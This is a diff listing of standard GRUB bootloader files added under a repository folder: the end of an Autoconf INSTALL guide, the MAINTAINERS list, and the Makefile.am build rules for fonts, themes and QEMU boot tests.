     307 +you can create a site shell script called `config.site' that gives
     308 +default values for variables like `CC', `cache_file', and `prefix'.
     309 +`configure' looks for `PREFIX/share/config.site' if it exists, then
     310 +`PREFIX/etc/config.site' if it exists. Or, you can set the
     311 +`CONFIG_SITE' environment variable to the location of the site script.
     312 +A warning: not all `configure' scripts look for a site script.
     313 + 
     314 + 
     315 +Operation Controls
     316 +==================
     317 + 
     318 + `configure' recognizes the following options to control how it
     319 +operates.
     320 + 
     321 +`--cache-file=FILE'
     322 + Use and save the results of the tests in FILE instead of
     323 + `./config.cache'. Set FILE to `/dev/null' to disable caching, for
     324 + debugging `configure'.
     325 + 
     326 +`--help'
     327 + Print a summary of the options to `configure', and exit.
     328 + 
     329 +`--quiet'
     330 +`--silent'
     331 +`-q'
     332 + Do not print messages saying which checks are being made.
     333 + 
     334 +`--srcdir=DIR'
     335 + Look for the package's source code in directory DIR. Usually
     336 + `configure' can determine that directory automatically.
     337 + 
     338 +`--version'
     339 + Print the version of Autoconf used to generate the `configure'
     340 + script, and exit.
     341 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/MAINTAINERS
     1 +List of current GRUB maintainers and some basic information about the project
     2 +=============================================================================
     3 + 
     4 +Here is the list of current GRUB maintainers:
     5 + - Daniel Kiper <[email protected]> and <[email protected]>,
     6 + - Alex Burmashev <[email protected]>,
     7 + - Vladimir 'phcoder' Serbinenko <[email protected]>.
     8 + 
     9 +The maintainers drive and overlook the GRUB development.
     10 + 
     11 +If you found a security vulnerability in the GRUB please check the SECURITY
     12 +file to get more information how to properly report this kind of bugs to
     13 +the maintainers.
     14 + 
     15 +The GRUB development happens on the grub-devel mailing list [1]. The latest
     16 +GRUB source code is available at Savannah git repository [2].
     17 + 
     18 +Users can ask for help on the help-grub mailing list [3].
     19 + 
     20 + 
     21 +List of past GRUB maintainers and people who strongly contributed to the project
     22 +================================================================================
     23 + 
     24 +Here is the list, sorted alphabetically, of past GRUB maintainers and people who
     25 +strongly contributed to the project:
     26 + - Andrei Borzenkov,
     27 + - Bryan Ford,
     28 + - Erich Stefan Boleyn,
     29 + - Gordon Matzigkeit,
     30 + - Yoshinori K. Okuji.
     31 + 
     32 + 
     33 +[1] https://lists.gnu.org/mailman/listinfo/grub-devel
     34 +[2] https://git.savannah.gnu.org/gitweb/?p=grub.git&view=view+git+repository
     35 +[3] https://lists.gnu.org/mailman/listinfo/help-grub
     36 + 
  • ■ ■ ■ ■ ■ ■
    GrabAccess_SourceCode/Grab2/Makefile.am
     1 +AUTOMAKE_OPTIONS = subdir-objects -Wno-portability
     2 + 
     3 +DEPDIR = .deps-util
     4 +SUBDIRS = grub-core/lib/gnulib .
     5 +if COND_real_platform
     6 +SUBDIRS += grub-core
     7 +endif
     8 +SUBDIRS += po docs util/bash-completion.d
     9 + 
     10 +include $(top_srcdir)/conf/Makefile.common
     11 +include $(top_srcdir)/conf/Makefile.extra-dist
     12 + 
     13 +AM_CFLAGS = $(HOST_CFLAGS)
     14 +AM_LDFLAGS = $(HOST_LDFLAGS)
     15 +AM_CPPFLAGS = $(HOST_CPPFLAGS) $(CPPFLAGS_DEFAULT)
     16 +AM_CCASFLAGS = $(HOST_CCASFLAGS) $(CCASFLAGS_DEFAULT)
     17 + 
     18 +ACLOCAL_AMFLAGS = -I m4
     19 + 
     20 +CFLAGS_PROGRAM += $(CFLAGS_GNULIB)
     21 +LDFLAGS_PROGRAM += $(LDFLAGS_GNULIB)
     22 +CPPFLAGS_PROGRAM += $(CPPFLAGS_GNULIB)
     23 +CCASFLAGS_PROGRAM += $(CCASFLAGS_GNULIB)
     24 + 
     25 +include $(srcdir)/Makefile.util.am
     26 + 
     27 +check_SCRIPTS = $(check_SCRIPTS_native) $(check_SCRIPTS_nonnative)
     28 +check_PROGRAMS = $(check_PROGRAMS_native) $(check_PROGRAMS_nonnative)
     29 +TESTS = $(check_SCRIPTS) $(check_PROGRAMS)
     30 + 
     31 +check-native:
     32 + $(MAKE) TESTS="$(check_PROGRAMS_native) $(check_SCRIPTS_native)" check
     33 +check-nonnative:
     34 + $(MAKE) TESTS="$(check_PROGRAMS_nonnative) $(check_SCRIPTS_nonnative)" check
     35 + 
     36 +# XXX Use Automake's LEX & YACC support
     37 +grub_script.tab.h: $(top_srcdir)/grub-core/script/parser.y
     38 + $(YACC) -d -p grub_script_yy -b grub_script $(top_srcdir)/grub-core/script/parser.y
     39 +grub_script.tab.c: grub_script.tab.h
     40 +CLEANFILES += grub_script.tab.c grub_script.tab.h
     41 + 
     42 +# For the lexer.
     43 +grub_script.yy.h: $(top_srcdir)/grub-core/script/yylex.l
     44 + $(LEX) -o grub_script.yy.c --header-file=grub_script.yy.h $(top_srcdir)/grub-core/script/yylex.l
     45 +grub_script.yy.c: grub_script.yy.h
     46 +CLEANFILES += grub_script.yy.c grub_script.yy.h
     47 + 
     48 +# For libgrub.a
     49 +libgrub.pp: config-util.h grub_script.tab.h grub_script.yy.h $(libgrubmods_a_SOURCES) $(libgrubkern_a_SOURCES)
     50 + $(CPP) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(libgrubmods_a_CPPFLAGS) $(libgrubkern_a_CPPFLAGS) $(CPPFLAGS) \
     51 + -D'GRUB_MOD_INIT(x)=@MARKER@x@' $^ > $@ || (rm -f $@; exit 1)
     52 +CLEANFILES += libgrub.pp
     53 + 
     54 +libgrub_a_init.lst: libgrub.pp
     55 + cat $< | grep '^@MARKER@' | sed 's/@MARKER@\(.*\)@/\1/g' | sort -u > $@ || (rm -f $@; exit 1)
     56 +CLEANFILES += libgrub_a_init.lst
     57 + 
     58 +libgrub_a_init.c: libgrub_a_init.lst $(top_srcdir)/geninit.sh
     59 + sh $(top_srcdir)/geninit.sh `cat $<` > $@ || (rm -f $@; exit 1)
     60 +CLEANFILES += libgrub_a_init.c
     61 + 
     62 +# For grub-fstest
     63 +grub_fstest.pp: $(grub_fstest_SOURCES)
     64 + $(CPP) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(grub_fstest_CPPFLAGS) $(CPPFLAGS) \
     65 + -D'GRUB_MOD_INIT(x)=@MARKER@x@' $^ > $@ || (rm -f $@; exit 1)
     66 +CLEANFILES += grub_fstest.pp
     67 + 
     68 +grub_fstest_init.lst: libgrub.pp grub_fstest.pp
     69 + cat $^ | grep '^@MARKER@' | sed 's/@MARKER@\(.*\)@/\1/g' | sort -u > $@ || (rm -f $@; exit 1)
     70 +CLEANFILES += grub_fstest_init.lst
     71 + 
     72 +grub_fstest_init.c: grub_fstest_init.lst $(top_srcdir)/geninit.sh
     73 + sh $(top_srcdir)/geninit.sh `cat $<` > $@ || (rm -f $@; exit 1)
     74 +CLEANFILES += grub_fstest_init.c
     75 + 
     76 +if COND_HAVE_FONT_SOURCE
     77 +pkgdata_DATA += unicode.pf2 ascii.pf2 euro.pf2 ascii.h widthspec.h
     78 +endif
     79 + 
     80 +starfield_theme_files = $(srcdir)/themes/starfield/blob_w.png $(srcdir)/themes/starfield/boot_menu_c.png $(srcdir)/themes/starfield/boot_menu_e.png $(srcdir)/themes/starfield/boot_menu_ne.png $(srcdir)/themes/starfield/boot_menu_n.png $(srcdir)/themes/starfield/boot_menu_nw.png $(srcdir)/themes/starfield/boot_menu_se.png $(srcdir)/themes/starfield/boot_menu_s.png $(srcdir)/themes/starfield/boot_menu_sw.png $(srcdir)/themes/starfield/boot_menu_w.png $(srcdir)/themes/starfield/slider_c.png $(srcdir)/themes/starfield/slider_n.png $(srcdir)/themes/starfield/slider_s.png $(srcdir)/themes/starfield/starfield.png $(srcdir)/themes/starfield/terminal_box_c.png $(srcdir)/themes/starfield/terminal_box_e.png $(srcdir)/themes/starfield/terminal_box_ne.png $(srcdir)/themes/starfield/terminal_box_n.png $(srcdir)/themes/starfield/terminal_box_nw.png $(srcdir)/themes/starfield/terminal_box_se.png $(srcdir)/themes/starfield/terminal_box_s.png $(srcdir)/themes/starfield/terminal_box_sw.png $(srcdir)/themes/starfield/terminal_box_w.png $(srcdir)/themes/starfield/theme.txt $(srcdir)/themes/starfield/README $(srcdir)/themes/starfield/COPYING.CC-BY-SA-3.0
     81 + 
     82 +build-grub-mkfont$(BUILD_EXEEXT): util/grub-mkfont.c grub-core/unidata.c grub-core/kern/emu/misc.c util/misc.c
     83 + $(BUILD_CC) -o $@ -I$(top_srcdir)/include $(BUILD_CFLAGS) $(BUILD_CPPFLAGS) $(BUILD_LDFLAGS) -DGRUB_MKFONT=1 -DGRUB_BUILD=1 -DGRUB_UTIL=1 -DGRUB_BUILD_PROGRAM_NAME=\"build-grub-mkfont\" $^ $(BUILD_FREETYPE_CFLAGS) $(BUILD_FREETYPE_LIBS)
     84 +CLEANFILES += build-grub-mkfont$(BUILD_EXEEXT)
     85 + 
     86 +garbage-gen$(BUILD_EXEEXT): util/garbage-gen.c
     87 + $(BUILD_CC) -o $@ $(BUILD_CFLAGS) $(BUILD_CPPFLAGS) $(BUILD_LDFLAGS) $^
     88 +CLEANFILES += garbage-gen$(BUILD_EXEEXT)
     89 +EXTRA_DIST += util/garbage-gen.c
     90 + 
     91 +build-grub-gen-asciih$(BUILD_EXEEXT): util/grub-gen-asciih.c
     92 + $(BUILD_CC) -o $@ -I$(top_srcdir)/include $(BUILD_CFLAGS) $(BUILD_CPPFLAGS) $(BUILD_LDFLAGS) -DGRUB_MKFONT=1 -DGRUB_BUILD=1 -DGRUB_UTIL=1 $^ $(BUILD_FREETYPE_CFLAGS) $(BUILD_FREETYPE_LIBS) -Wall -Werror
     93 +CLEANFILES += build-grub-gen-asciih$(BUILD_EXEEXT)
     94 + 
     95 +build-grub-gen-widthspec$(BUILD_EXEEXT): util/grub-gen-widthspec.c
     96 + $(BUILD_CC) -o $@ -I$(top_srcdir)/include $(BUILD_CFLAGS) $(BUILD_CPPFLAGS) $(BUILD_LDFLAGS) -DGRUB_MKFONT=1 -DGRUB_BUILD=1 -DGRUB_UTIL=1 $^ $(BUILD_FREETYPE_CFLAGS) $(BUILD_FREETYPE_LIBS) -Wall -Werror
     97 +CLEANFILES += build-grub-gen-widthspec$(BUILD_EXEEXT)
     98 + 
     99 +if COND_STARFIELD
     100 +starfield_DATA = dejavu_10.pf2 dejavu_12.pf2 dejavu_bold_14.pf2 dejavu_14.pf2 dejavu_16.pf2 $(starfield_theme_files)
     101 +dejavu_10.pf2: $(DJVU_FONT_SOURCE) build-grub-mkfont$(BUILD_EXEEXT)
     102 + ./build-grub-mkfont$(BUILD_EXEEXT) -s 10 -o $@ $(DJVU_FONT_SOURCE)
     103 +CLEANFILES += dejavu_10.pf2
     104 +dejavu_12.pf2: $(DJVU_FONT_SOURCE) build-grub-mkfont$(BUILD_EXEEXT)
     105 + ./build-grub-mkfont$(BUILD_EXEEXT) -s 12 -o $@ $(DJVU_FONT_SOURCE)
     106 +CLEANFILES += dejavu_12.pf2
     107 +dejavu_14.pf2: $(DJVU_FONT_SOURCE) build-grub-mkfont$(BUILD_EXEEXT)
     108 + ./build-grub-mkfont$(BUILD_EXEEXT) -s 14 -o $@ $(DJVU_FONT_SOURCE)
     109 +CLEANFILES += dejavu_14.pf2
     110 +dejavu_bold_14.pf2: $(DJVU_FONT_SOURCE) build-grub-mkfont$(BUILD_EXEEXT)
     111 + ./build-grub-mkfont$(BUILD_EXEEXT) -b -s 14 -o $@ $(DJVU_FONT_SOURCE)
     112 +CLEANFILES += dejavu_bold_14.pf2
     113 +dejavu_16.pf2: $(DJVU_FONT_SOURCE) build-grub-mkfont$(BUILD_EXEEXT)
     114 + ./build-grub-mkfont$(BUILD_EXEEXT) -s 16 -o $@ $(DJVU_FONT_SOURCE)
     115 +CLEANFILES += dejavu_16.pf2
     116 +else
     117 +starfield_DATA =
     118 +endif
     119 + 
     120 +EXTRA_DIST += $(starfield_theme_files)
     121 +EXTRA_DIST += $(srcdir)/themes/starfield/src/slider_s.xcf $(srcdir)/themes/starfield/src/slider_n.xcf $(srcdir)/themes/starfield/src/slider_c.xcf $(srcdir)/themes/starfield/src/blob_nw.xcf $(srcdir)/themes/starfield/src/bootmenu/center.xcf $(srcdir)/themes/starfield/src/bootmenu/corner.xcf $(srcdir)/themes/starfield/src/bootmenu/side.xcf $(srcdir)/themes/starfield/src/terminalbox/side.xcf $(srcdir)/themes/starfield/src/terminalbox/corner.xcf $(srcdir)/themes/starfield/src/terminalbox/center.xcf
     122 + 
     123 +unicode.pf2: $(FONT_SOURCE) build-grub-mkfont$(BUILD_EXEEXT)
     124 + ./build-grub-mkfont$(BUILD_EXEEXT) -o $@ $(FONT_SOURCE) || (rm -f $@; exit 1)
     125 +CLEANFILES += unicode.pf2
     126 + 
     127 +# Arrows and lines are needed to draw the menu, so always include them
     128 +UNICODE_ARROWS=0x2190-0x2193
     129 +UNICODE_LINES=0x2501-0x251B
     130 + 
     131 +ascii.pf2: $(FONT_SOURCE) build-grub-mkfont$(BUILD_EXEEXT)
     132 + ./build-grub-mkfont$(BUILD_EXEEXT) -o $@ $(FONT_SOURCE) -r 0x0-0x7f,$(UNICODE_ARROWS),$(UNICODE_LINES) || (rm -f $@; exit 1)
     133 +CLEANFILES += ascii.pf2
     134 + 
     135 +euro.pf2: $(FONT_SOURCE) build-grub-mkfont$(BUILD_EXEEXT)
     136 + ./build-grub-mkfont$(BUILD_EXEEXT) -o $@ $(FONT_SOURCE) -r 0x0-0x4ff,0x1e00-0x1fff,$(UNICODE_ARROWS),$(UNICODE_LINES) || (rm -f $@; exit 1)
     137 +CLEANFILES += euro.pf2
     138 + 
     139 +ascii.h: $(FONT_SOURCE) build-grub-gen-asciih$(BUILD_EXEEXT)
     140 + ./build-grub-gen-asciih$(BUILD_EXEEXT) $(FONT_SOURCE) $@ || (rm -f $@; exit 1)
     141 +CLEANFILES += ascii.h
     142 + 
     143 +widthspec.h: $(FONT_SOURCE) build-grub-gen-widthspec$(BUILD_EXEEXT)
     144 + ./build-grub-gen-widthspec$(BUILD_EXEEXT) $(FONT_SOURCE) $@ || (rm -f $@; exit 1)
     145 +CLEANFILES += widthspec.h
     146 + 
     147 +# Install config.h into platformdir
     148 +nodist_platform_HEADERS = config.h
     149 + 
     150 +pkgdata_DATA += grub-mkconfig_lib
     151 + 
     152 + 
     153 +if COND_real_platform
     154 + 
     155 +if COND_i386_coreboot
     156 +QEMU32=qemu-system-i386
     157 +MINIMUM_CPU_LINUX=pentium2
     158 +endif
     159 + 
     160 +if COND_i386_multiboot
     161 +QEMU32=qemu-system-i386
     162 +MINIMUM_CPU_LINUX=pentium2
     163 +endif
     164 + 
     165 +if COND_i386_ieee1275
     166 +QEMU32=qemu-system-i386
     167 +MINIMUM_CPU_LINUX=pentium2
     168 +endif
     169 + 
     170 +if COND_i386_qemu
     171 +QEMU32=qemu-system-i386
     172 +MINIMUM_CPU_LINUX=pentium2
     173 +endif
     174 + 
     175 +if COND_i386_pc
     176 +QEMU32=qemu-system-i386
     177 +MINIMUM_CPU_LINUX=pentium2
     178 +endif
     179 + 
     180 +if COND_i386_efi
     181 +QEMU32=qemu-system-i386
     182 +MINIMUM_CPU_LINUX=pentium2
     183 +endif
     184 + 
     185 +if COND_x86_64_efi
     186 +QEMU32=qemu-system-x86_64
     187 +MINIMUM_CPU_LINUX=core2duo
     188 +endif
     189 + 
     190 +linux.init.x86_64: $(srcdir)/grub-core/tests/boot/linux.init-x86_64.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     191 + $(TARGET_CC) -o $@ $< -static -m64 -nostdlib -nostdinc -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\"
     192 + 
     193 +linux.init.i386: $(srcdir)/grub-core/tests/boot/linux.init-i386.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     194 + $(TARGET_CC) -o $@ $< -static -m32 -nostdlib -nostdinc -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\"
     195 + 
     196 +linux.init.mips: $(srcdir)/grub-core/tests/boot/linux.init-mips.S
     197 + $(TARGET_CC) -o $@ $< -static -nostdlib -nostdinc -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\"
     198 + 
     199 +linux.init.ppc: $(srcdir)/grub-core/tests/boot/linux.init-ppc.S
     200 + $(TARGET_CC) -o $@ $< -static -nostdlib -nostdinc -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\"
     201 + 
     202 +linux.init.mipsel: $(srcdir)/grub-core/tests/boot/linux.init-mips.S
     203 + $(TARGET_CC) -o $@ $< -static -nostdlib -nostdinc -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\"
     204 + 
     205 +linux.init.loongson: $(srcdir)/grub-core/tests/boot/linux.init-mips.S
     206 + $(TARGET_CC) -o $@ $< -static -nostdlib -nostdinc -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\" -DREBOOT=1
     207 + 
     208 +multiboot.elf: $(srcdir)/grub-core/tests/boot/kernel-i386.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     209 + $(TARGET_CC) -o $@ $< -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\" -static -ffreestanding -nostdlib -nostdinc -DTARGET_MULTIBOOT=1 -Wl,--build-id=none -Wl,-N -Wl,-Ttext,0x100000 -m32 -I$(srcdir)/include
     210 + 
     211 +kfreebsd.elf: $(srcdir)/grub-core/tests/boot/kernel-i386.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     212 + $(TARGET_CC) -o $@ $< -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\" -static -ffreestanding -nostdlib -nostdinc -Wl,--build-id=none -Wl,-N -Wl,-Ttext,0x100000 -m32 -I$(srcdir)/include
     213 + 
     214 +kfreebsd.aout: kfreebsd.elf
     215 + $(TARGET_OBJCOPY) -O a.out-i386-linux $< $@ -j .text
     216 + 
     217 +pc-chainloader.elf: $(srcdir)/grub-core/tests/boot/kernel-8086.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     218 + $(TARGET_CC) -o $@ $< -static -DTARGET_CHAINLOADER=1 -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\" -ffreestanding -nostdlib -nostdinc -Wl,--build-id=none -Wl,-N -Wl,-Ttext,0x7c00 -m32
     219 + 
     220 +pc-chainloader.bin: pc-chainloader.elf
     221 + $(TARGET_OBJCOPY) -O binary --strip-unneeded -R .note -R .comment -R .note.gnu.build-id -R .reginfo -R .rel.dyn -R .note.gnu.gold-version $< $@;
     222 + 
     223 +ntldr.elf: $(srcdir)/grub-core/tests/boot/kernel-8086.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     224 + $(TARGET_CC) -o $@ $< -DTARGET_NTLDR=1 -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\" -static -ffreestanding -nostdlib -nostdinc -Wl,--build-id=none -Wl,-N -Wl,-Ttext,0 -m32
     225 + 
     226 +ntldr.bin: ntldr.elf
     227 + $(TARGET_OBJCOPY) -O binary --strip-unneeded -j .text $< $@;
     228 + 
     229 +multiboot2.elf: $(srcdir)/grub-core/tests/boot/kernel-i386.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     230 + $(TARGET_CC) -static -o $@ $< -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\" -ffreestanding -nostdlib -nostdinc -Wl,--build-id=none -Wl,-N -Wl,-Ttext,0x100000 -m32 -I$(srcdir)/include -DTARGET_MULTIBOOT2=1
     231 + 
     232 +kfreebsd.init.x86_64: $(srcdir)/grub-core/tests/boot/kfreebsd.init-x86_64.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     233 + $(TARGET_CC) -o $@ $< -m64 -static -nostdlib -nostdinc -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\" && freebsd-brandelf -t FreeBSD $@
     234 + 
     235 +kfreebsd.init.i386: $(srcdir)/grub-core/tests/boot/kfreebsd.init-i386.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     236 + $(TARGET_CC) -o $@ $< -m32 -static -nostdlib -nostdinc -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\" && freebsd-brandelf -t FreeBSD $@
     237 + 
     238 +knetbsd.init.i386: $(srcdir)/grub-core/tests/boot/kbsd.init-i386.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     239 + $(TARGET_CC) -o $@ $< -m32 -static -nostdlib -nostdinc -DTARGET_NETBSD=1 -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\"
     240 + 
     241 +kopenbsd.init.i386: $(srcdir)/grub-core/tests/boot/kbsd.init-i386.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     242 + $(TARGET_CC) -o $@ $< -m32 -static -nostdlib -nostdinc -DTARGET_OPENBSD=1 -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\"
     243 + 
     244 +knetbsd.init.x86_64: $(srcdir)/grub-core/tests/boot/kbsd.init-x86_64.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     245 + $(TARGET_CC) -o $@ $< -m64 -DTARGET_NETBSD=1 -static -nostdlib -nostdinc -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\"
     246 + 
     247 +kopenbsd.init.x86_64: $(srcdir)/grub-core/tests/boot/kbsd.init-x86_64.S $(srcdir)/grub-core/tests/boot/qemu-shutdown-x86.S
     248 + $(TARGET_CC) -o $@ $< -m64 -DTARGET_OPENBSD=1 -static -nostdlib -nostdinc -DSUCCESSFUL_BOOT_STRING=\"$(SUCCESSFUL_BOOT_STRING)\"
     249 + 
     250 +linux-initramfs.mips: linux.init.mips Makefile
     251 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && cp $< $$TDIR/init && (cd $$TDIR && echo ./init | cpio -R 0:0 --quiet --dereference -o -H newc) | gzip > $@ && rm -rf $$TDIR
     252 + 
     253 +linux-initramfs.ppc: linux.init.ppc Makefile
     254 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && cp $< $$TDIR/init && (cd $$TDIR && echo ./init | cpio -R 0:0 --quiet --dereference -o -H newc) | gzip > $@ && rm -rf $$TDIR
     255 + 
     256 +linux-initramfs.mipsel: linux.init.mipsel Makefile
     257 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && cp $< $$TDIR/init && (cd $$TDIR && echo ./init | cpio -R 0:0 --quiet --dereference -o -H newc) | gzip > $@ && rm -rf $$TDIR
     258 + 
     259 +linux-initramfs.loongson: linux.init.loongson Makefile
     260 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && cp $< $$TDIR/init && (cd $$TDIR && echo ./init | cpio -R 0:0 --quiet --dereference -o -H newc) | gzip > $@ && rm -rf $$TDIR
     261 + 
     262 +linux-initramfs.i386: linux.init.i386 Makefile
     263 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && cp $< $$TDIR/init && (cd $$TDIR && echo ./init | cpio -R 0:0 --quiet --dereference -o -H newc) | gzip > $@ && rm -rf $$TDIR
     264 + 
     265 +linux-initramfs.x86_64: linux.init.x86_64 Makefile
     266 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && cp $< $$TDIR/init && (cd $$TDIR && echo ./init | cpio -R 0:0 --quiet --dereference -o -H newc) | gzip > $@ && rm -rf $$TDIR
     267 + 
     268 +kfreebsd-mfsroot.i386.img: kfreebsd.init.i386 Makefile
     269 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && mkdir $$TDIR/dev && mkdir $$TDIR/sbin && cp $< $$TDIR/sbin/init && makefs -t ffs -s 30m -f 1000 -o minfree=0,version=1 $@ $$TDIR && rm -rf $$TDIR
     270 + 
     271 +knetbsd.image.i386: knetbsd.init.i386 $(srcdir)/grub-core/tests/boot/kbsd.spec.txt
     272 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && mkdir $$TDIR/dev && mkdir $$TDIR/sbin && cp $< $$TDIR/sbin/init && makefs -F $(srcdir)/grub-core/tests/boot/kbsd.spec.txt -t ffs -s 64k -f 10 -o minfree=0,version=1 $@ $$TDIR && rm -rf $$TDIR
     273 + 
     274 +kopenbsd.image.i386: kopenbsd.init.i386 $(srcdir)/grub-core/tests/boot/kopenbsdlabel.txt
     275 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && mkdir $$TDIR/dev && mkdir $$TDIR/sbin && cp $< $$TDIR/sbin/init && makefs -F $(srcdir)/grub-core/tests/boot/kbsd.spec.txt -t ffs -s 128k -f 10 -o minfree=0,version=1 $@ $$TDIR && bsdlabel -f -R $@ $(srcdir)/grub-core/tests/boot/kopenbsdlabel.txt && rm -rf $$TDIR || rm -f $@
     276 + 
     277 +kopenbsd.image.x86_64: kopenbsd.init.x86_64 $(srcdir)/grub-core/tests/boot/kopenbsdlabel.txt
     278 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && mkdir $$TDIR/dev && mkdir $$TDIR/sbin && cp $< $$TDIR/sbin/init && makefs -F $(srcdir)/grub-core/tests/boot/kbsd.spec.txt -t ffs -s 128k -f 10 -o minfree=0,version=1 $@ $$TDIR && bsdlabel -f -R $@ $(srcdir)/grub-core/tests/boot/kopenbsdlabel.txt && rm -rf $$TDIR || rm -f $@
     279 + 
     280 +knetbsd.miniroot-image.i386.img: knetbsd.image.i386 $(GRUB_PAYLOADS_DIR)/knetbsd.miniroot.i386
     281 + $(TARGET_OBJCOPY) --add-section=miniroot=$< $(GRUB_PAYLOADS_DIR)/knetbsd.miniroot.i386 $@
     282 + 
     283 +kfreebsd-mfsroot.x86_64.img: kfreebsd.init.x86_64 Makefile
     284 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && mkdir $$TDIR/dev && mkdir $$TDIR/sbin && cp $< $$TDIR/sbin/init && makefs -t ffs -s 30m -f 1000 -o minfree=0,version=1 $@ $$TDIR && rm -rf $$TDIR
     285 + 
     286 +knetbsd.image.x86_64: knetbsd.init.x86_64 $(srcdir)/grub-core/tests/boot/kbsd.spec.txt
     287 + TDIR=`mktemp -d "$${TMPDIR:-/tmp}/tmp.XXXXXXXXXX"` && mkdir $$TDIR/dev && mkdir $$TDIR/sbin && cp $< $$TDIR/sbin/init && makefs -F $(srcdir)/grub-core/tests/boot/kbsd.spec.txt -t ffs -s 64k -f 10 -o minfree=0,version=1 $@ $$TDIR && rm -rf $$TDIR
     288 + 
     289 +knetbsd.miniroot-image.x86_64.img: knetbsd.image.x86_64 $(GRUB_PAYLOADS_DIR)/knetbsd.miniroot.x86_64
     290 + $(TARGET_OBJCOPY) --add-section=miniroot=$< $(GRUB_PAYLOADS_DIR)/knetbsd.miniroot.x86_64 $@
     291 + 
     292 +CLEANFILES += linux.init.i386 kfreebsd.init.i386 linux.init.x86_64 linux-initramfs.i386 linux-initramfs.x86_64
     293 + 
     294 +kfreebsd-mfsroot.i386.gz: kfreebsd-mfsroot.i386.img
     295 + gzip < $< > $@
     296 + 
     297 +bootcheck-kfreebsd-i386: kfreebsd-mfsroot.i386.gz $(GRUB_PAYLOADS_DIR)/kfreebsd.i386 $(GRUB_PAYLOADS_DIR)/kfreebsd_env.i386 $(srcdir)/grub-core/tests/boot/kfreebsd.cfg grub-shell
     298 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=$(QEMU32) --files=/mfsroot.gz=kfreebsd-mfsroot.i386.gz --files=/kfreebsd=$(GRUB_PAYLOADS_DIR)/kfreebsd.i386 --files=/kfreebsd_env=$(GRUB_PAYLOADS_DIR)/kfreebsd_env.i386 $(srcdir)/grub-core/tests/boot/kfreebsd.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     299 + 
     300 +kfreebsd-mfsroot.x86_64.gz: kfreebsd-mfsroot.x86_64.img
     301 + gzip < $< > $@
     302 + 
     303 +bootcheck-kfreebsd-x86_64: kfreebsd-mfsroot.x86_64.gz $(GRUB_PAYLOADS_DIR)/kfreebsd.x86_64 $(GRUB_PAYLOADS_DIR)/kfreebsd_env.x86_64 $(srcdir)/grub-core/tests/boot/kfreebsd.cfg grub-shell
     304 + ./grub-shell --timeout=$(BOOTCHECK_TIMEOUT) --qemu=qemu-system-x86_64 --files=/mfsroot.gz=kfreebsd-mfsroot.x86_64.gz --files=/kfreebsd=$(GRUB_PAYLOADS_DIR)/kfreebsd.x86_64 --files=/kfreebsd_env=$(GRUB_PAYLOADS_DIR)/kfreebsd_env.x86_64 $(srcdir)/grub-core/tests/boot/kfreebsd.cfg | grep $(SUCCESSFUL_BOOT_STRING) > /dev/null
     305 + 
     306 +knetbsd.miniroot-image.i386.gz: knetbsd.miniroot-image.i386.img
     307 + gzip < $< > $@
     308 + 
     309 +bootcheck-knetbsd-i386: knetbsd.miniroot-image.i386.gz $(GRUB_PAYLOADS_DIR)/knetbsd.i386 $(srcdir)/grub-core/tests/boot/knetbsd.cfg grub-shell
